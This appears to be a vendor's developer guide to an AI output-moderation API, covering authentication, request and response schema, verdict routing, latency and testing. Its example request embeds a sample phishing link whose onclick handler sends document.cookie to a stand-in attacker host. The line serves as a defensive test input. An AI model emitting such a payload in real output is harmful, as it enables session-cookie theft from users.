AI Content Moderation API: Developer Guide

An AI content moderation API lets your application send generated or user-facing text to a hosted classifier and receive structured verdicts — typically safe, suspicious, or unsafe — along with risk levels, findings, and human-readable reasons. For LLM applications, the critical integration point is output moderation: screening model completions after inference and before render, storage, or tool execution.

This guide covers authentication, request schema, response handling, error behavior, and production patterns using IdenticAPI AI Output Safety.

Endpoint overview

Send the text to moderate in the request body:

{
  "text": "Your model-generated string here"
}

The API analyzes the full string as a single unit. For chat, pass the assembled assistant message — not individual tokens mid-stream unless you are running exploratory windowed checks (always re-check the final message).

Authentication

Include your API key in the Authorization header:

Authorization: Bearer idapi_live_your_key_here

Use separate keys for development and production. Rotate keys through your dashboard if a key is exposed. Never embed live keys in client-side JavaScript — call the moderation API from your server.

Test keys and sandbox behavior are described in AI Output Safety documentation.

Example request and response

curl -X POST https://www.identicapi.com/api/v1/security/output-safety \
  -H "Authorization: Bearer idapi_test_your_key_here" \
  -H "Content-Type: application/json" \
  -d '{"text": "Click here: <a href=\"javascript:void(0)\" onclick=\"fetch('"'"'https://attacker.example/log?c='"'"'+document.cookie)\">Verify account</a>"}'

Example response:

{
  "request_id": "req_out_4821",
  "api": "ai-output-safety",
  "verdict": "unsafe",
  "risk": "high",
  "findings": [
    {
      "category": "unsafe_markup",
      "reason": "Inline event handler detected in HTML anchor"
    },
    {
      "category": "deceptive_content",
      "reason": "Phishing-style account verification language detected"
    }
  ],
  "reasons": [
    "Inline event handler detected in HTML anchor",
    "Phishing-style account verification language detected"
  ],
  "usage_units": 1
}

Response fields

Verdicts are risk signals, not guarantees. Your application maps them to allow, review, or block actions.

Verdict routing in production

Define policy before coding:

type ModerationAction = "deliver" | "review" | "block";

function routeVerdict(verdict: string): ModerationAction {
  switch (verdict) {
    case "safe":
      return "deliver";
    case "suspicious":
      return "review";
    case "unsafe":
      return "block";
    default:
      return "review"; // fail closed for unknown values
  }
}

See Block vs Review AI Output for workflow design. On block, return a static fallback — do not echo flagged text.

Where to call the API

Insert the call after LLM completion and before:

• HTTP response to the client
• WebSocket push to chat UI
• Database writes visible to other users
• Email or ticket creation from model drafts

For RAG pipelines, moderate both the retrieved snippet shown to users (if any) and the final synthesized answer. Input-side screening is separate; see Input vs Output Moderation.

Latency and reliability

Moderation adds network round-trip time. Mitigations:

• Reuse connections — HTTP keep-alive in your SDK or client
• Timeout with fail-closed or fail-open policy — Document your choice; many security teams prefer fail-closed (block or fallback) for user-facing chat
• Parallel checks — When using Unified Guard, one request can run multiple detectors if you need consolidated orchestration

Log request_id with your application trace ID for debugging.

Prototyping without production keys

Use the free AI Output Safety Checker to paste sample outputs and inspect verdicts interactively. Move to server-side API calls before launch — browser-only checks are not sufficient for production.

Framework integration guides

• Output Safety in Next.js — App Router Route Handlers and Server Actions
• AI Output Moderation in Python — FastAPI and worker patterns

Both guides use the same endpoint and response schema documented here.

Error handling

Handle non-200 responses explicitly:

Do not cache moderation results across different user sessions — the same text may be safe in one context and policy-violating in another depending on your product rules (API verdicts reflect general safety signals; your policy layer remains authoritative).

Testing strategy

Build a corpus of synthetic examples representing your risk categories:

• Benign technical answers (expect safe)
• Harassment and threats (expect unsafe or suspicious)
• HTML with script vectors (expect unsafe)
• Edge-case documentation mentioning sensitive topics (may be suspicious)

Run these in CI against a test key. Complement with manual review of live suspicious traffic weekly.

Combining with other IdenticAPI products

AI Guardrails vs Content Moderation explains how moderation fits broader guardrails architecture.

Limitations

Automated moderation cannot:

• Understand full business context for every industry
• Eliminate all false positives or false negatives
• Replace safe HTML rendering or CSP

Treat the API as a scalable screening layer — not the only control. Pair with AI Output Safety Checklist items before production release.

Quick integration checklist

• Server-side call after every LLM completion shown to users
• Bearer token stored in secrets manager
• Verdict → action mapping documented
• Safe fallback messages pre-written
• request_id logged with app traces
• Timeout and retry policy defined
• Regression tests with synthetic payloads

Start with AI Output Safety, validate behavior in the Checker tool, and read the full documentation for rate limits and SDK notes.